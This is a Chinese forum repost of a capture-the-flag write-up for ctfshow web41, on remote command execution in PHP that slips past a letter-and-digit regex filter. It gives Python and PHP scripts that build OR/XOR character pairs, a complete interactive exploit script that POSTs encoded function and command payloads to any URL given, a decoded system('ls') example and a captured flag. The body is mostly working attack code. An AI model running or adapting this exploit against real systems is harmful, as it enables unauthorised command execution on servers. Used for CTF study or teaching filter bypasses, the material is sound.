ctfshow-web入门-下令执行(web41_exp与分析)

打印 上一主题 下一主题

主题 968|帖子 968|积分 2904

过滤不严,下令执行
  

  1. preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)
复制代码
过滤掉了数字、字母以及一些符号,之前接触过的无字母 rce 是取反编码再取反,接纳不可见字符去绕过正则,但是这里取反符号被过滤掉了,但是注意到或符号被放出来了,下面附上这种范例题目的相干脚本,并给出一定解释。
首先是生成可用字符的脚本,可以用 python 也可以用 php 来生成:
(1)python 可用字符生成脚本
preg 是题目的正则匹配规则,在 ASCII 可见字符范围内,先排撤消正则表达式匹配的字符,将其他可用的字符举行按位或运算,再将运算得到的可见字符,以及到场或运算结果为可见字符的组合转为 16 进制拼接 % 后写入 txt 文件。
  1. import re
  2. # 定义给定的正则表达式模式
  3. preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'
  4. # 初始化内容字符串
  5. content = ''
  6. # 循环遍历ASCII码表中的所有字符对
  7. for i in range(256):
  8.     for j in range(256):
  9.         # 如果字符i和j不匹配给定的正则表达式模式
  10.         if not (re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)):
  11.             # 将字符i和j进行按位或运算,得到新的字符k
  12.             k = i | j
  13.             # 如果字符k是ASCII可见字符(范围在32到126之间)
  14.             if k >= 32 and k <= 126:
  15.                 # 将字符i和j转换为十六进制形式,并拼接成url编码
  16.                 a = '%' + hex(i)[2:].zfill(2)
  17.                 b = '%' + hex(j)[2:].zfill(2)
  18.                 # 将k对应的字符和i、j转换拼接结果写入txt文件
  19.                 content += (chr(k) + ' '+ a + ' ' + b + '\n')
  20. # 打开名为'rce_or.txt'的文件,以写入模式打开,如果文件不存在则创建
  21. f = open('rce_or.txt', 'w')
  22. # 将生成的内容写入文件
  23. f.write(content)
  24. # 关闭文件
  25. f.close()
复制代码
(2)php 可用字符生成脚本(这个的生成方式可以选择或和异或操作) 
  1. <?php
  2. //或
  3. function orRce($par1, $par2){
  4.     $result = (urldecode($par1)|urldecode($par2));
  5.     return $result;
  6. }
  7. //异或
  8. function xorRce($par1, $par2){
  9.     $result = (urldecode($par1)^urldecode($par2));
  10.     return $result;
  11. }
  12. //取反
  13. function negateRce(){
  14.     fwrite(STDOUT,'[+]your function: ');
  15.     $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
  16.     fwrite(STDOUT,'[+]your command: ');
  17.     $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
  18.     echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
  19. }
  20. //mode=1代表或,2代表异或,3代表取反
  21. //取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
  22. function generate($mode, $preg='/[0-9]/i'){
  23.     if ($mode!=3){
  24.         $myfile = fopen("rce.txt", "w");
  25.         $contents = "";
  26.         for ($i=0;$i<256;$i++){
  27.             for ($j=0;$j<256;$j++){
  28.                 if ($i<16){
  29.                     $hex_i = '0'.dechex($i);
  30.                 }else{
  31.                     $hex_i = dechex($i);
  32.                 }
  33.                 if ($j<16){
  34.                     $hex_j = '0'.dechex($j);
  35.                 }else{
  36.                     $hex_j = dechex($j);
  37.                 }
  38.                 if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
  39.                     echo "";
  40.                 }else{
  41.                     $par1 = "%".$hex_i;
  42.                     $par2 = '%'.$hex_j;
  43.                     $res = '';
  44.                     if ($mode==1){
  45.                         $res = orRce($par1, $par2);
  46.                     }else if ($mode==2){
  47.                         $res = xorRce($par1, $par2);
  48.                     }
  49.                     if (ord($res)>=32&ord($res)<=126){
  50.                         $contents=$contents.$res." ".$par1." ".$par2."\n";
  51.                     }
  52.                 }
  53.             }
  54.         }
  55.         fwrite($myfile,$contents);
  56.         fclose($myfile);
  57.     }else{
  58.         negateRce();
  59.     }
  60. }
  61. generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
  62. //1代表模式,后面的是过滤规则
复制代码
运行即可生成相干的可用字符:

我们大概来说下这个生成的结果的意思:以或运算为例
结果分为三个部门,最左边的是通过或运算得到的新字符,并且是颠末了筛选的,都是可见字符;
另外两个以百分号开头的是来自于用于举行或运算生成新字符的,这两个字符是从正则匹配之外的 ASCII 字符中筛选出来的。
现在我大致理解为是将两个可用的字符或操作后生成了我们需要使用的但是被过滤掉的字符。但是到这里我还是不太理解这里传入 payload 的内容是如何绕过正则的,在后面的攻击脚本中我们输出详细的 payload 再分析。

使用前面生成的可用字符对举行远程下令执行(RCE)
exp 攻击脚本:
  1. # -*- coding: utf-8 -*-
  2. import requests
  3. import urllib
  4. from sys import *
  5. import os
  6. # os.system("php rce_or.php")  # 没有将php写入环境变量需手动运行
  7. if (len(argv) != 2):
  8.     print("=" * 50)
  9.     print('USER:python exp.py <url>')
  10.     print("eg:  python exp.py http://ctf.show/")
  11.     print("=" * 50)
  12.     exit(0)
  13. url = argv[1]
  14. def action(arg):
  15.     s1 = ""
  16.     s2 = ""
  17.     for i in arg:
  18.         f = open("rce.txt", "r")  # 这里替换成你自己生成的可用字符文件位置
  19.         while True:
  20.             t = f.readline()
  21.             if t == "":
  22.                 break
  23.             if t[0] == i:
  24.                 # print(i)
  25.                 s1 += t[2:5]
  26.                 s2 += t[6:9]
  27.                 break
  28.         f.close()
  29.     output = "("" + s1 + ""|"" + s2 + "")"
  30.     return (output)
  31. while True:
  32.     param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
  33.     data = {
  34.         'c': urllib.parse.unquote(param)  # 实际题目请求的参数名,这里是c
  35.     }
  36.     r = requests.post(url, data=data)
  37.     print("\n[*] result:\n" + r.text)
复制代码
在终端执行:
  1. python 脚本名 url
复制代码

读取 flag.php

拿到 flag:ctfshow{c181cfa0-4cf9-4536-8367-95f9fbba5cdd}
接下来我们输出 payload 来看看:

可以看到这里传入的内容 URL 解码后的东西都不在正则匹配中,所以不会被检测:
%13%19%13%14%05%0d %60%60%60%60%60%60
%0c%13 %60%60
正则匹配的是 URL 解码后的东西,不要以为传入的数字会被检测到。

URL 解码后的这两部门:
("\x13\x19\x13\x14\x05\r"|"``````")("\x0c\x13"|"``")
举行或运算后得到的东西就是我们前面输入的内容:system 和 ls
也就是说它先绕过了正则匹配的检测,但是通过或运算末了又生成了正则匹配的东西。
末了再增补一个知识点:
   system('ls'),('system')('ls'),(system)('ls'),('system')(ls) 都是可以执行的。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

曂沅仴駦

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表